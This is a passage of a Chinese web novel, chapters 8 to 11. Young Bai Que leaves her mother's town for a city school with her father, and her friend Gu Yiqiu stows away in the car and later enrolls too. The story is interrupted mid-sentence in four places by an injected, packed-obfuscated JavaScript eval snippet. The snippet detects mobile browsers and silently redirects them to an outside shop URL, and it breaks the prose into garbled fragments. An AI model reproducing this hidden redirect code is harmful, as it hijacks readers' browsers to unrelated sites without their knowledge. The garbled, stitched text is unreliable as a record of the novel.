过了一会儿,白鹊才说:“我不想走,我知道妈妈是为了我好,但是,为什么呢,而且,我不喜欢陌生的地方,我有点害怕,我觉得……”白鹊一直仰着头,抬得脖子都酸了,总算勉强忍住了眼泪。 她转过头来看着顾一秋,“如果你可以和我一起去就好了。” 顾一秋也看着她,他脸上的神情很……白鹊分辨不出来,可能是因为她视野有点模糊,所以看不清更细微的表情了。 顾一秋动了动嘴,大概是想说些什么,但他什么也没说,只是笑了笑,又过了一会儿,才说:“你快回家吧。” 白鹊听见身后有人喊自己的名字,是宋凌峰,他站在诊所门口,朝这边挥了挥手。 白鹊就点了点头,往家里走去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068834|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她有点难过,同时又有点骄傲,她想,我虽然伤心想哭,但忍住了没有哭,这,大概就是成长吧。 走到家门口,白鹊听见爸爸问她,“诶,你那个同学都到门口了,怎么不进来玩啊,你也不邀请人家来坐一会儿?” 白鹊犹豫着回头去看,只看到了顾一秋的背影,还有他手里提着的那一叠风干豆腐皮。 白鹊问宋凌峰,“爸爸,我们今天晚上吃什么菜?” 这可把宋凌峰难倒了,他说:“等会儿啊,我先去问问你妈妈想吃什么。” * 白鹊以为自己成长了,但实际上并没有,或者说,虽然有了一定的成长,但还远远不够。 因为,一觉醒来,白鹊昨晚做的心理建设全部失效,她又反悔了,她这次是真的下定决心,真的不想走了。 宋凌峰的黑色越野车就停在院子后面,行李也都放进了后备箱、绑在了车顶上,一切已经准备就绪,下一刻就要出发,好像此时再说后悔已经来不及了。 白鹊冲进自己房间,抱着床头的柱子不肯撒手,白伊水说什么她都只是大喊:“不听不听!我不走!” 白伊水有些无奈,她纳闷了,“这孩子……” 白鹊已经无心去观察环境,她全部精力都用来死死抱紧柱子,其实根本也听不到爸爸妈妈在说些什么。 不知道过了多久,耳边安静下来,白鹊睁开眼睛,看见宋凌峰不知何时搬了把椅子放在旁边,他懒懒散散地坐在那里,手里摆弄着相机,镜头对准白鹊,已经按了很多次快门了。 白鹊这下不伤心了,她有点生气了,她赶紧站直了,端端正正地站着,问:“什么意思啊你?” 宋凌峰“啊?”了一声,他指了指相机,解释道:“纪念一下嘛。” 白鹊泄气了,她往下一滑,坐在了地板上,她说:“我可不可以不转学啊?” 宋凌峰说:“可以是可以,但是你不是答应过妈妈吗,你这样反悔,她会不高兴的。” 白鹊想了想,“那妈妈为什么不能和我们一起去呢?” 宋凌峰笑了,“她又不用上学。” “不是,”白鹊差点被绕进去了,她说:“那你不是也不用上学吗?但你还是在城里住啊。” 白鹊越想越觉得有道理,“既然我一定要去城市里上学,那妈妈可以陪我一起去啊,我们是一家人,一家人不就是应该在一起生活吗?我不能在这里陪她,那她为什么不能去那里陪我呢?” 宋凌峰举起了双手,“好了好了,你怎么总是问些我不好回答的问题,这些事情……你要问你妈妈本人才行啊。” 说着,他摆弄着相机就走了,过了一会儿,白伊水敲了敲打开的房门,走了进来。 白伊水走到白鹊面前,同样坐在了刚才宋凌峰搬来的那把椅子上,她没说话,只是静静地看着白鹊。 白鹊感觉很委屈,她说:“妈妈,我就是舍不得你。” 她看了看窗外,小声补充道:“而且,我和姓宋的其实也没有很熟啊,我才认识他两个月而已。” 白鹊不得不承认,在这个暑假里,她和爸爸的感情有了一定的积累,但这远远不够啊,至少和妈妈相比,完全不能算作同等分量。 白伊水忍俊不禁,伸手把白鹊抱进怀里,她说:“好了,我知道了。” “但是,如果今天不及时出发,就赶不上办转学手续,之前的准备就都白费了。”白伊水牵着她的手,说道:“别再耽误时间了,答应妈妈,可以吗?” 白鹊明白了,妈妈实在是个说一不二的人,她再怎么耍赖也都不管用了。好吧,其实妈妈一直都是这样的人。 白鹊反手抓住妈妈的手,可怜巴巴道:“那我可以多带几样东西走吗?你不和我一起去,那我多带一点我熟悉的东西走,这样总可以吧?” 这样简单的要求,妈妈当然是爽快地答应了她。 8. 第 8 章 两小时后,白鹊和宋凌峰终于出发,又过了两个多小时,越野车在高速公路服务区停下。 宋凌峰看了看时间,现在是傍晚六点十分。 他探头看了看服务区里的饭店,问白鹊:“饿不饿?不如我们先去吃个快餐,等到家了,爸爸再带你去下馆子。” 白鹊有点心不在焉,她扫了一眼后视镜,又往车后面看了看,随意点了点头,嘴里说着:“好啊好啊。” 宋凌峰便拿着手机钥匙下了车,等到走出一段距离,他才想起自己没带钱包,于是又折回去拿钱包。 在外面走了几步,感觉天色有点暗了,气温也降了下来,宋凌峰担心女儿会冷,想了想,绕去了后备箱,他记得放衣服的行李箱都放在最后面。 车灯一亮,白鹊大惊失色,她想要阻止,但已经来不及了。 后备箱徐徐打开,宋凌峰和缩手缩脚藏在行李堆里的顾一秋来了个四目相对。 宋凌峰呆住了。 顾一秋倒是接受良好,毕竟他随时都注意着外面的动静,后备箱解锁的声音一响起,他就已经在调整姿势了。 顾一秋赶紧坐了起来,他搬开挡在面前的一个大背包,挪出双腿,一瘸一拐地跳下了车。 见状,白鹊赶紧跑了过来,她手足无措,不知道该做什么,下意识伸长双臂,挡在了顾一秋前面。 宋凌峰也有点手足无措,他左右看了看,也莫名其妙地伸手拎了一下那个大背包。 这一拎,他就察觉到了不对劲,这么鼓鼓囊囊的一个双肩牛仔布包,入手重量却是轻飘飘的,他拉开拉链一看,窸窸窣窣的,这背包里装的竟然全是塑料袋。 他想起来了,这个背包是最后放进后备箱的,还是白鹊去挪位置摆好的。 当时出发前,状况百出,好不容易安抚好女儿的情绪,宋凌峰忙着检查车子轮胎、行车路线,白伊水忙着整理白鹊的学籍资料。 确实是赶时间,又担心会堵车,太晚了开车不安全,他顾不上再仔细检查一遍行李,急急忙忙就出发了。 谁能想到…… 宋凌峰看向白鹊,白鹊难得有了点不好意思,说:“嘿嘿。” …… 宋凌峰很是无奈,但现在也不是责怪孩子的时候,他关上后备箱,锁了车门,招呼顾一秋和白鹊一起往服务区里面走。 他一边用手机拨号,一边说:“我们先去吃饭吧,那个小同学,我给你白阿姨打个电话,让她先告诉你家里人一声。” 顾一秋却摇了摇头,他说:“谢谢叔叔,但是不用了,我给奶奶留了纸条,告诉她我今天会晚点回家,我现在就去搭返程的客车,最后一班是七点,我现在去时间正好,可以赶上。” 说完,他转身就走,姿态十分潇洒。 “哎!不是,你先等会儿,”宋凌峰喊他喊不应,直接伸手把顾一秋拎了回来,宋凌峰这下真有点生气了,又气又好笑,他说:“小朋友,你还挺有规划的啊。” 顾一秋坦然接受了夸奖,他说:“谢谢叔叔。” 宋凌峰长叹一声,一手牵一个,把两个人都拉进了最近的一家连锁快餐店。 等到饭菜端上来,三人都围坐了下来,宋凌峰才说:“好了,现在开始解释吧。” 白鹊抢先道:“妈妈答应过我!我可以多带一些我熟悉的东西走,那……她又没限制具体是什么种类……” 宋凌峰有些无语地看着她,他真的是无言以对了。 白鹊又小声解释:“我知道啊,顾一秋是人,不是东西,但我和他很熟悉啊!我就是不想一个人去那么陌生的地方读书,妈妈不愿意和我一起去,顾一秋愿意啊,所以我带上他一起去,这也不可以吗?” 宋凌峰又有些呆住了,他看向眼前这个不算陌生,但也不算熟悉的小男孩,他犹豫道:“顾一秋,秋天的秋?是吗?嗯……转学是一件大事,我们可能需要先征得你家长的同意。” 顾一秋笑了一下,说:“我知道,叔叔。” 顾一秋解释道:“我知道这样行不通,而且,藏在后备箱里也一定会被发现的,所以,我只是打算陪她走一段路,等到地方了,或者停在中转站也行,我可以自己搭车回家。” 这……宋凌峰有点不知道说什么好了,其实吧,对于这份情谊,他还有点小小的动容,但是,绝不能表现出他鼓励这种行为,他只能绷着脸,严肃地两手交握,努力思考着措辞。 他不说,白鹊有话要说! 白鹊一下从座位上站了起来,她撑住顾一秋的肩膀剧烈晃动,质问道:“什么意思啊?不是说好了,你和我一起去吗?什么叫做只陪我一段路,你还要自己坐车回家?!” 顾一秋努力保持平衡,百忙之中还吃了口青菜,等到白鹊晃累了,暂时不动了,他才说:“对啊,你看,虽然你那么不想走,但真正出发之后,外面没有那么可怕,路上也没有那么无聊,其实还挺好玩的对不对?” “你只是被自己想象出来的东西吓到了,所以会有点担心,”顾一秋说:“但你现在发现了,其实去一个新的地方也没什么大不了,哪怕没有人陪,你自己也可以做到。” “不!”白鹊又重振旗鼓,加重了手上的力气,她说道:“别和我说这些乱七八糟的,反正你答应过我,你已经答应我了!” “好了好了,”虽然白鹊只是动作幅度大,声音并不大,但宋凌峰还是作势捂了捂耳朵,他说道:“现在说什么都晚了。” 他指了指饭店大厅里挂着的时钟,“七点过了,班车没了,不管之后怎么说,顾一秋同学,今天你就别想走了。” 这下,轮到顾一秋呆住了。 * 三人吃完饭从服务区里出来,天已经黑了一大半,高速公路的路灯亮了起来。 天边还剩一点丝丝缕缕的晚霞,白鹊张开双臂快跑了几步,爬到一个石墩子上站着吹风。 宋凌峰打开车门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068835|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把后排座位的杂物扔进后备箱,把副驾驶上白鹊的坐垫也放到了后排,他说:“好了,你们两个都去后面坐吧。 他坐在驾驶位,回头问:“等会儿夜宵吃什么?你们两个都想一想啊。” 自从知道自己不能自行搭车回家之后,顾一秋就变得有点拘谨,按照他原本的计划,他是不会给其他人带来麻烦的,即使过程波折一点,他也会自行解决,不会让别人多操心。 但现在,宋叔叔说,时间太晚了,你一个小孩子自己搭车回家肯定是不行的,哪怕长途客车还有班次,也是不行的,你既然跟来了,叔叔肯定不能让你一个人回家。 不过,因为白鹊的转学手续最迟是明天办理,今天折返的话就赶不上了,所以今天也不能及时送你回家,不如这样,你就和我们一起去,在那边玩几天,开学前叔叔一定把你送回来好不好? 宋凌峰重新给白伊水打了电话,简单说了下这里的情况,“嗯”了几声,把手机递给了白鹊。 白鹊有点紧张,小声说:“妈妈……” 好在,白伊水没有责备她,只是让她晚上早点睡觉,以后不要再躲在被窝里偷偷看漫画书。 白鹊吃了一惊,“啊,你怎么知道?” 白伊水让她把手机拿给顾一秋。 顾一秋接过手机,也很紧张,只听到电话那边传来碗碟摆放的声音,白阿姨好像开了免提,声音隔着一段距离。 白伊水说:“一秋,谢谢你呀,如果你不是配合她,白鹊说不定到现在都不肯走。” 顾一秋松了口气,犹豫道:“白阿姨,我奶奶那边……” “放心吧,奶奶也没有怪你,我和她解释清楚了,她也明白你这么做的原因,只是,下次不要再这样自作主张了,你毕竟年纪还小,再聪明再懂事,奶奶也是会担心你的。” 顾一秋默默点头,白鹊在旁边大喊:“他说他知道了!” “嗯,好,那就这样吧,阿姨要准备吃晚饭了,一秋,你不要有心理负担,趁这个机会,好好玩几天再回来吧。”说完,白伊水挂断了电话。 白鹊听完了全程,此时忍不住欢呼起来,顾一秋沉默着探身往前,把手机还给了宋叔叔。 * 晚上十点,到了地方,宋凌峰把车停在了小区的地下停车场。 他先是一趟一趟地把行李搬进电梯,又搬到客厅里,等到搬完行李回来一看,两个小孩还没醒,还躺在后排睡着呢。 宋凌峰本来想去吃顿烧烤的,这下估计是吃不了了。 他认命地卷起衬衫袖子,一手抱一个,把两个昏睡的小朋友扛在肩膀上往电梯间走去。 走了没两步,他感觉这样可能不太行,他有点负担不起,只好又退了回来,先放下了一个。 等到把两个小孩也运回了家,安置妥当,再把行李都收拾完,他已经完全不想吃夜宵了。 宋凌峰关掉客厅的灯,一头栽倒在沙发上,睡着了。 9. 第 9 章 白鹊在新房间里醒来,一睁眼就看见了天花板上淡黄色的月亮灯。 她眨了眨眼睛,猛地翻身坐起,从床头摸到床尾,又跳到地板上,跑到书桌和书柜前摸了摸、闻了闻,嗯,有点木头的味道。 好大好漂亮的房间啊! 这里像是卧室和书房的结合体,既可以学习,也可以休息,一边放着床和衣柜,另一边放着书桌和书柜,中间还有一个木质的多宝格做隔断。 白鹊走到房门边,发现左手方向还有另一扇门,打开一看,是一个单独的卫生间。 说实话,白鹊来之前有点担心,因为……她打心底里觉得宋凌峰是个不靠谱的人。 他看上去像是那种都市奋斗电视剧里经典的男配角,长得不错,有点小钱,整天不干正事,吊儿郎当,但是呢,他又很会花言巧语,很会追求人,在他的猛烈攻势下,单纯的女主角也逐渐放下心房,和他坠入爱河。 这类角色不是那种超级大好人,但也算善良,不过呢,由于他整天嬉皮笑脸,不经意间就会惹出麻烦,进而给女主角也带来麻烦,再然后…… 再然后,白鹊就不知道了,毕竟这类型的电视剧总是晚上才播,白鹊看了没一会儿,就会被妈妈赶去睡觉了。 好吧,抛开电视剧不谈,回归现实,白鹊其实挺喜欢这类型的人的,因为他们很好玩,很有意思,让生活充满新鲜感,但是吧,就是不靠谱。 嗯……现在看来,其实宋凌峰也蛮好的嘛,至少他说的那些话并不是吹牛,他说可以照顾白鹊,就真的做好了相应的准备,就拿这个住处来说吧,这个房间一看就是精心布置过的。 白鹊又抬头看了看天花板上的灯,她按下墙上的开关,房间里多了一层莹莹的柔光,这个灯不仅仅是形状造型像一轮弯月,就连灯光颜色也像月光。 白鹊不由得想起了她原本的卧室,在她的床头柜上,也放着一盏月亮台灯,不过要更小一点,更旧一点。 白鹊打开房门,走出过道,她一眼就看到了客厅里放着的冰箱,好大的冰箱!三开门大冰箱! 在所有的家用电器里,白鹊最喜欢的就是冰箱了,毕竟她很喜欢吃冰棍,喝冷饮,冰箱不仅可以保存冷饮,还可以制作冷饮,它就像一个永恒的冷饮世界,只要一打开冰箱门,就可以收获很多的快乐。 白鹊打开这个大冰箱,把每一个分区、每一个格子都检查了一遍,好可惜,没有冰棍,也没有饮料,这个冰箱空空荡荡的,只有一些速冻饺子、速冻汤圆,还有一堆难喝的啤酒。 “哈喽,同学,在找什么呢?”白鹊关上冰箱门,回头看,这才发现,原来宋凌峰一直就坐在旁边的沙发上,但她一直没发现。 再仔细一看,原来顾一秋也在,他坐在另一个沙发上,他什么时候起床的?好像还换了一身衣服,嗯?怎么还是新衣服? 顾一秋解释道:“这是宋叔叔拿给我的。” 宋凌峰笑道:“哎呀,我们家别的没有,就是衣服最多啦!” 白鹊不解,宋凌峰有些震惊,他问:“不是吧,小鹊,你竟然不知道?你妈妈真的一点都没有提起过我吗?啊?” 这……白鹊有点不忍心回答了。 经过宋凌峰的一番自我介绍,白鹊这才知道,原来宋凌峰开了一家制衣厂,做外贸服装,一开始是做女装的,后来规模扩大了,也开始做男装,现在偶尔也会做些配饰配件,比如领带围巾之类的。 不过,童装倒是不做的,所以顾一秋身上穿的这身新衣服,其实是是宋凌峰昨晚打电话找朋友去买的,今天早上刚送来,让他换上了。 宋凌峰看了看时间,催促白鹊,“先去吃饭吧,吃完饭好好洗漱一下,你也换身衣服,我们去你的新学校看看。” * 新学校离得很近,走出小区大门,再过一条街就到了。 新学校和新家之间的距离,简直比从前学校到家的距离还要短,白鹊有点小小的失望,她说:“我还以为大城市真的很大呢。” 宋凌峰笑了,“这是爸爸特意买的学区房好吧!所以才这么近,你以后可以多睡懒觉,这还不好吗?” 说得也是,白鹊满意地点了点头。 新学校很干净、很漂亮,建筑群颜色很统一,校园里有很多树,很多水池,很多雕塑,就和那些青春校园剧里的布景一模一样。 白鹊趴在办公室的窗框上往里看,宋凌峰坐在一张长桌子面前,正在低头签字,桌对面的人一直看着电脑,不停敲打键盘,时不时抽走宋凌峰手里的文件,然后又递来新的文件。 “你说,为什么这些窗户玻璃都是茶色的呢?”白鹊小声问道。 半天没听到回答,白鹊回过头去,这才发现顾一秋不知道什么时候走到了走廊的另一边,正扶着栏杆,望着另一个方向。 白鹊赶紧过去,也朝那个方向看,没什么特别的啊,就是一个更大更新的操场,“你在看什么啊?” 顾一秋指了指远处的一个小点,“那里有一座桥。” 白鹊搭了凉棚往外看,光线太亮了,她看不清,“桥?桥怎么了?” 顾一秋又说:“桥上有两个人,好像在偷偷喂水池里的鱼。” 白鹊更使劲地去看,顾一秋拉了她一下,“不要全身都靠在栏杆上,退后一点。” 白鹊赶紧往后退,她想起了顾老师的事,心里毛毛的,赶紧也伸手把顾一秋彻底拉了回来,她说:“噢,喂鱼,喂就喂呗,我们也可以去喂啊,啊,我爸爸回来了。” 宋凌峰从招生办公室里走出来,朝这边挥了挥手。 白鹊问道:“这么快就办好了?我不需要考试吗?” 就连宝坪镇小学这样朴素的学校,接收转学生都要考试呢。 宋凌峰说:“暂时不需要,等开学后会有统一的考试的。” 白鹊的转学手续比较简单,因为她的户口已经先一步转了过来,接下来再转学籍就很容易了。宋凌峰特意在周边买房子,也是为的这一点。 如果是保留学籍,单纯的借读,手续倒是要麻烦点,费用也会更高。 宋凌峰刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068836|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额外问了下借读生的接收条件,也一一记了下来。 宋凌峰牵着白鹊的手下楼梯,看了看身边的另一个小朋友,他问:“顾一秋,你觉得这个学校怎么样?” 顾一秋显然没料到他会问自己这个问题,他想了想,说:“教学质量应该很好吧,很适合白鹊。” 宋凌峰忍俊不禁,“哈哈,教学质量,你这是从哪里学来的词。” 宋凌峰说:“先不管适不适合白鹊了,我是问你,你也是学生啊,你自己觉得这个学校怎么样?” 顾一秋说:“挺好的。”说完三个字,他低下头,专心致志下楼梯了。 这个学校当然很好了,顾一秋从前不觉得学校与学校之间会有什么本质的区别,虽然偶尔会听奶奶说起爸爸从前的单位如何如何,镇上的单位又是如何如何,但他自己很难感受到其中的不同。 但今天,他亲眼见过了更明亮的校园,亲自感受到了一种“更好”的概念,他也终于体会到了,更多的可能性,更多的不同之处。 不过,这所学校好与不好和他本人没有什么切实的联系,他不想多期盼什么,就不愿意再去想了。 宋凌峰看着他的背影,倒是若有所思。 三人走下教学楼,宋凌峰又提出,想再去学校里逛一圈,他说,先熟悉一下学校环境也好。 三人去了操场、食堂,教学楼、实验楼、教学楼、实验楼、教学楼……看到这么多教室,白鹊感到了一种无形的威压,虽然她只是一个小学生,却莫名其妙感觉到了学习的紧迫性。 她忍不住跑了起来,飞快跑出了这连成一片的教学楼。 白鹊心有余悸,她说:“我不想再参观教室了。” 宋凌峰哈哈大笑,他说:“你都跑到人家隔壁中学去了,这边是中学校区,你也不想想,哪有那么多的小学生啊!” 原来,这个小学是某个重点中学的附属小学,隔壁就是中学的分校区,两者以花园为界,走动交流非常方便,虽然平时不会有中学生去和小学生交流就是了。 宋凌峰说:“选择这个小学,也是为了后面中学阶段做打算,从这里去重点中学,又要方便很多了。” 白鹊一点也不想听,她不想知道自己将来要怎么读书,要读多久的书,她捂着耳朵跑远了。 顾一秋站在原地,听见宋叔叔问他:“顾一秋同学,你觉得呢,你喜欢这个学校吗?” 顾一秋抬头看着顾叔叔,他不明白,为什么又要特意问他这个问题。 宋凌峰说:“你说实话就好,没事啊,你白阿姨可是告诉我了,你差点就成我们干儿子了,别那么见外嘛。” 顾一秋犹豫地点了点头。 宋凌峰也点了点头,他说:“嗯,很好,你很有眼光。” 他忽然一个助跑,抄起顾一秋就往前跑。 顾一秋猝不及防,有点眩晕,风声在耳边呼呼地响,他的视野很宽阔,很明亮。 宋凌峰步子迈得很大,两三下就追上了白鹊,他嘴里哇哇大叫,白鹊赶紧又加速往前跑。 10. 第 10 章 从学校出来,宋凌峰先回了一趟家,他把车开出来,打算带着两个小朋友到处去玩一玩。 宋凌峰平时很少在城里逛,他其实根本都不回家,就住在厂区的宿舍里,所以也不知道市区里有什么好玩的。 他抓耳挠腮想了一会儿,把导航目标定在了距离最近的一个大型游乐场,应该没有小孩子会讨厌游乐园吧。 这天是工作日,游乐园里的人不算特别多,但也不少,毕竟还在放暑假。 随处可见的人群里,大多都是一家三口亲子出游,像宋凌峰这样一个大人带两个孩子的,还是少数。 幸好他带的这两个孩子都很乖巧,不会乱跑乱窜,始终都跟在他身边,说去哪儿就去哪儿,也不会忽然闹脾气。 只是,宋凌峰忘了一个重要的问题,游乐场的大部分设施都是需要一米五以上身高的人才能乘坐的,他把两个孩子拉到身高表前面一比,好吧,都差一截。 差得不多,如果想蒙混过关还是很容易的,但为了安全起见,还是不要尝试为好,宋凌峰把他们拉走了。 三人在游乐场里搜寻了很久,总算找到几个没有身高限制的游玩装置,三人坐上去,在低空中慢悠悠地转了半天,平静地对视,一致表示,我们还是换个地方玩吧。 从游乐场离开后,白鹊反而兴致更高了,她其实不太喜欢游乐场这种地方,她喜欢玩,但喜欢的是那种自发的、充满未知可能性,有探索性质的玩,而不是这种被动的,被框定的玩法。 当然啦,来这里逛一圈也挺好的,毕竟以前没真正体验过,白鹊觉得一切都很新鲜。 走出园区大门,三人先去附近的一个小餐馆吃了午饭,吃完之后,宋凌峰又犯了难,他在地图上翻来翻去,不知道接下来该去哪里。 白鹊坐在车后座,看着车窗外一动不动的风景,等得差点睡着了,她说:“啊,怎么还是白天啊。” 再等下去,天真的要黑了,宋凌峰不知道该往哪儿走,干脆随便选了一个方向往外开,二十分钟后,前面路口出现了一个公园,他如释重负,开心道:“走咯,我们去野餐!” 白鹊对这个方案也很满意,虽然地点不同,但野餐的流程总是差不多的,她感到了一种安定感,她的生活虽然有变化,但很多东西也是不会变的。 除此之外,还有另一点,她对顾一秋说:“我们两个还没有一起野餐过呢。” 顾一秋笑了笑。 * 就这么漫无目的但高强度地玩了两三天之后,大家都对假期产生了一种复杂的情感,有点畅快,但又有点腻味,好玩是好玩,但最好不要再玩了。 那就办正事吧! 宋凌峰决定今天就把顾一秋送回宝坪镇,现在离正式开学还有好几天,如果他的家长也觉得让他来这边借读是个好主意,那么趁现在抓紧时间去申请,走流程办手续,还不迟。 只要对方家长同意了,费用什么的都不是问题。 如果他的家长不同意……那也没办法,这毕竟是人家自己的事,虽然从私心里说,宋凌峰是很希望这个小朋友也过来读书的。 宋凌峰可以在日常起居里照顾白鹊,但在学校就没办法了,虽然学校里估计也不会发生什么事,但有个熟悉的小伙伴在旁边,总归是好一点的。 等等,这话听上去怎么那么像是白鹊本人会说出来的? 宋凌峰看了白鹊一眼,白鹊正在喝水呢,也狐疑地回看过来。 宋凌峰又看向桌子另一边的顾一秋,这个孩子不知道是天生不爱说话,还是在他这个大人面前放不开,这几天都非常沉默,但沉默归沉默,他始终是很有礼貌,很懂事的。 抛开一起上学、朋友之间可以相互照应这一点不说,哪怕只为了顾一秋本人考虑,来这里读书肯定也是比在老家好得多的,宝坪镇还是太偏僻了,各方面都比较落后,到现在连个英语老师都没有……就看他的家长怎么想了。 听说他家只剩一个顽固的老太太,宋凌峰顿时感觉有些棘手,算了,先别想那么多,尽力劝一劝吧。 宋凌峰带着顾一秋准备出门,白鹊拉住了门把手,看着他们。 宋凌峰说:“怎么啦?你一个人在家真的可以吗?要不还是按照之前说的,送你去小赵姐姐家里?” 小赵姐姐是服装厂的财务,是公司的老员工了,单身,住在附近,昨天白鹊刚和她见过一面。 宋凌峰最快也要明天才能回来,白鹊要一个人在家待两天一夜。 白鹊说:“那倒不用了。” 她是喜欢和朋友们待在一起,但如果是不太熟悉的人,白鹊还是宁愿自己一个人待着。 宋凌峰点了点头,说:“那你记得把门反锁好,有什么事给爸爸打电话啊。” 昨天下午宋凌峰给白鹊买了一部移动手机,还给她办了一张电话卡,白鹊现在也是有电话号码的人了。 白鹊说:“哦。” 她还是拉着门把手不放。 顾一秋站定了,一脸严肃地说:“再见,朋友。” 白鹊的心里立刻涌起一股悲情,她铿锵有力道:“啊,朋友,再见!” 说完,她头也不回地跑远了。 宋凌峰叹为观止,他受到了一点震撼,这是什么?某种古老神秘的告别仪式吗? 他愣神的时候,顾一秋已经先一步走到了楼道里,按下了电梯,等在一旁,又是一副沉稳内敛的样子了。 * 或许是因为宋凌峰和自己亲妈的关系不太好,所以,在他的想象中,这个年龄段的老太太都是强硬、蛮横、很难沟通的。 再加上在宝坪镇时听到的那些传闻,虽然还没有亲眼见到过顾一秋的奶奶,但他已经完整构想出了一个关于她的形象。 等真正见到顾奶奶的时候,他还挺惊讶的。 顾一秋的奶奶看上去很冷硬,说起话来也是硬邦邦的,但一旦开启了谈话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068837|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,宋凌峰发现,她其实是很明白事理,也很容易交流的。 白伊水开门见山,直接说起让顾一秋去省城借读的想法,顾奶奶沉默了一会儿,问了几个关于吃住的问题,又沉默一会儿,就这么同意了。 宋凌峰还没有反应过来,只听白伊水问他:“招生办老师的电话你应该有存吧,我们现在就打过去聊一聊。” 电话开了免提,白伊水问起借读生的招收条件,将来升学考试的限制,以及学校的住宿问题,顾一秋的奶奶在旁边听得很认真。 宋凌峰悄悄打量起这件屋子的陈设,本来是三居室,但有个房间是空的,阳台上有很多花花草草,还有一些花盆搬离留下的痕迹,墙上没有装饰,除了实用的家具,没有别的东西,这个屋子很干净,也很冷清。 宋凌峰把目光转过来,正好对上了顾奶奶的眼神,他赶紧移开目光,专心盯着电话了。 招生办那边也很快沟通好了,招收肯定是没问题的,只是借读生要多交一笔费用,一万五左右。 白伊水说:“没问题。” 挂断电话,看看天色,也快到了晚饭时间,白伊水便说:“那我们就不打扰了,让一秋也尽快收拾一下东西吧,他一个人坐车过去不方便,就还是和宋凌峰一起回去吧。” 顾奶奶点了点头,转身回了卧室。 她再出来时,手里拿着存折,她说:“我现在去取钱,取出来给你。” 白伊水连忙推辞,宋凌峰也说:“别呀,孩子读书,我们做长辈的本来就应该支持,您一个人在家好多地方需要用钱呢,再说了,咱们这——” 白伊水接过话来,她握着顾奶奶的手往回推,说道:“敏姨,这钱您就自己留着吧,我……我答应过小琴,要帮她好好照顾孩子的。” 纪敏,也就是顾一秋的奶奶,她也按住白伊水的手推了回去,她说:“一码归一码,行了,就这样。” 白伊水还想要再劝,顾一秋从房间里出来,说道:“奶奶,我出去买点菜吧,白阿姨,你们想吃点什么?” 白伊水笑了笑,她说:“不用了,我家里还有剩菜,不吃完浪费了。” 她又握了握顾奶奶的手,说道:“敏姨,那我们先走了。” 白伊水和宋凌峰走出了楼道,房门关上,顾一秋走到了奶奶面前,他说:“奶奶,其实我在这里读书也挺好的。” 顾奶奶脸上没什么表情,语气却是柔和的,她说:“好了,我知道,一秋,你以后一定要好好学习,知道吗?” 顾奶奶看向对面墙上,那里挂着一张黑白遗照,她说:“以前的事……你别怪奶奶,以后,就好好学习吧。” 顾一秋也看向墙上的那张遗照,其实他和爸爸的感情并不算深,只是,爸爸离世,给这个家带来的变化确实是巨大的,后续的很多事情他都不太明白,但是,他试着去理解大家的选择,也试着去体谅。 他问:“奶奶,您晚上想吃什么?” 11. 第 11 章 来到新学校,白鹊最关心的事情有三件。 第一,食堂的饭菜好吃吗? 开学报道的那一天,大部分同学办完手续就跟着家长走了,白鹊却逆着人潮往里走,趁着人少,她拉着顾一秋和爸爸一起去了学校的食堂。 白鹊一直很向往在学校食堂里吃东西,不过老家的小学没有设立食堂,所以她一直没有体验过,可能正是因为这样,她才格外想要尝试吧。 省城一小的食堂是一栋单独的建筑,有四五层的样子,白鹊没有往上走,只停在了一楼大厅,她想让这里保留一些神秘感,等之后再慢慢探索。 一楼每个窗口旁边都挂着小黑板,黑板上写着当日菜品,白鹊一张张看过去,简直有些眼花缭乱了。 队伍后面的人开始催促了,她只好胡乱选了几个菜,从窗口里接过不锈钢盘子。 白鹊很喜欢选菜、打菜、刷饭卡,然后端着不锈钢餐盘去找空座位的这个过程,她感觉新奇极了。 至于原本最关心的问题——饭菜的味道……其实她有点记不清了,大概就是既没有那么好吃,也没有那么难吃吧。 总之,食堂还是很不错的! 第二,新学校的老师会对她好吗? 